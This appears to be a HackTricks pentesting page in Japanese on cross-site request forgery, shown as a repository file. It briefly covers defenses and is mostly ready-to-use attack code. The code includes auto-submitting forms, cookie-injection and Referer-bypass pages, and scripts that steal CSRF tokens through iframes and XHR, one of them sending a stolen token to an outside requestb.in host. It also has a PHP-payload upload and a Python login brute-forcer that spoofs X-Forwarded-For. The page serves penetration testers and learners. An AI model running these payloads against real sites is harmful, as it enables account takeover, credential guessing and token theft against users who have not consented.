hacktricks/src/pentesting-web/csrf-cross-site-request-forgery.md

650 lines
26 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
## Cross-Site Request Forgery (CSRF) Explained
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを利用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
### Prerequisites for a CSRF Attack
CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります
1. **価値のあるアクションを特定する**: 攻撃者は、ユーザーのパスワード、メールアドレスの変更、または権限の昇格など、悪用する価値のあるアクションを見つける必要があります。
2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTP Basic Authenticationヘッダーを通じてのみ管理されるべきです。他のヘッダーはこの目的のために操作できません。
3. **予測不可能なパラメータの不在**: リクエストには予測不可能なパラメータが含まれていない必要があります。これらは攻撃を妨げる可能性があります。
### Quick Check
**Burpでリクエストをキャプチャ**し、CSRF保護を確認することができます。また、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Defending Against CSRF
CSRF攻撃から保護するために実装できるいくつかの対策があります
- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSite cookiesについての詳細](hacking-with-cookies/index.html#samesite)。
- [**Cross-origin resource sharing**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。
- **ユーザー確認**: ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。
- **リファラーまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば
- `http://mal.net?orig=http://example.com`URLが信頼できるURLで終わる
- `http://example.com.mal.net`URLが信頼できるURLで始まる
- **パラメータ名の変更**: POSTまたはGETリクエストのパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
- **CSRFトークン**: 各セッションにユニークなCSRFトークンを組み込み、以降のリクエストでこのトークンを要求することで、CSRFのリスクを大幅に軽減できます。トークンの効果はCORSを強制することで高めることができます。
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。
## Defences Bypass
### From POST to GET
悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているか**を**確認**する必要があります。
### Lack of token
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、効果的にCross-Site Request Forgery (CSRF)攻撃を実行できます。
### CSRF token is not tied to the user session
アプリケーションが**CSRFトークンをユーザーセッションに結びつけていない**場合、重大な**セキュリティリスク**が存在します。これらのシステムは、各トークンが開始セッションに結びついていることを確認するのではなく、**グローバルプール**に対してトークンを検証します。
攻撃者がこれを悪用する方法は次のとおりです:
1. **自分のアカウントを使用して認証**します。
2. **グローバルプールから有効なCSRFトークンを取得**します。
3. **このトークンを使用して**被害者に対するCSRF攻撃を行います。
この脆弱性により、攻撃者は被害者の代わりに無許可のリクエストを行うことができ、アプリケーションの**不十分なトークン検証メカニズム**を悪用します。
### Method bypass
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているか確認してください。例えば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます_https://example.com/my/dear/api/val/num?**\_method=PUT**_
これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することでもうまくいく可能性があります:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Custom header token bypass
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
- **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
- **同じ長さだが異なるトークン**でリクエストをテストします。
### CSRF token is verified by a cookie
アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。
しかし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
以下は、攻撃がどのように構成されるかの例です:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
```
> [!NOTE]
> **csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、あなたは被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。
### Content-Typeの変更
[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。
例([ここ](https://brycec.me/posts/corctf_2021_challenges)からとして、JSONデータをtext/plainとして送信する方法
```html
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
```
### JSONデータのためのプリフライトリクエストのバイパス
POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それにもかかわらず、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります
1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しながらプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。
3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
### リファラー/オリジンチェックのバイパス
**リファラーヘッダーを避ける**
アプリケーションは、'Referer'ヘッダーが存在する場合のみ検証することがあります。このヘッダーをブラウザが送信しないようにするために、次のHTMLメタタグを使用できます
```xml
<meta name="referrer" content="never">
```
これにより、'Referer' ヘッダーが省略され、一部のアプリケーションでの検証チェックを回避できる可能性があります。
**Regexp バイパス**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Referrer がパラメータ内で送信する URL のサーバーのドメイン名を設定するには、次のようにします:
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
```
### **HEADメソッドバイパス**
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されており、レスポンスボディはありません - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。
したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。
## **エクスプロイトの例**
### **CSRFトークンの抽出**
**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/index.html)脆弱性を利用して**抽出を試みる**ことができます。
### **HTMLタグを使用したGET**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
自動的にGETリクエストを送信するために使用できる他のHTML5タグは次のとおりです
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
```
### フォームGETリクエスト
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
```
### フォームPOSTリクエスト
```html
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
```
### iframeを通じたフォームPOSTリクエスト
```html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
```
### **Ajax POST リクエスト**
```html
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2",
})
</script>
```
### multipart/form-data POST リクエスト
```javascript
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST リクエスト v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### iframe内からのフォームPOSTリクエスト
```html
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
```
### **CSRFトークンを盗んでPOSTリクエストを送信する**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **CSRFトークンを盗み、iframe、フォーム、Ajaxを使用してPostリクエストを送信する**
```html
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
```
### **CSRFトークンを盗み、iframeとフォームを使用してPOSTリクエストを送信する**
```html
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
```
### **トークンを盗み、2つのiframeを使用して送信する**
```html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **POSTAjaxを使用してCSRFトークンを盗み、フォームでPOSTを送信する**
```html
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
```
### CSRF with Socket.IO
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
```
## CSRFログインブルートフォース
このコードは、CSRFトークンを使用してログインフォームをブルートフォースするために使用できます可能なIPブラックリストを回避するために、ヘッダーX-Forwarded-Forも使用しています
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## ツール <a href="#tools" id="tools"></a>
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## 参考文献
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
{{#include ../banners/hacktricks-training.md}}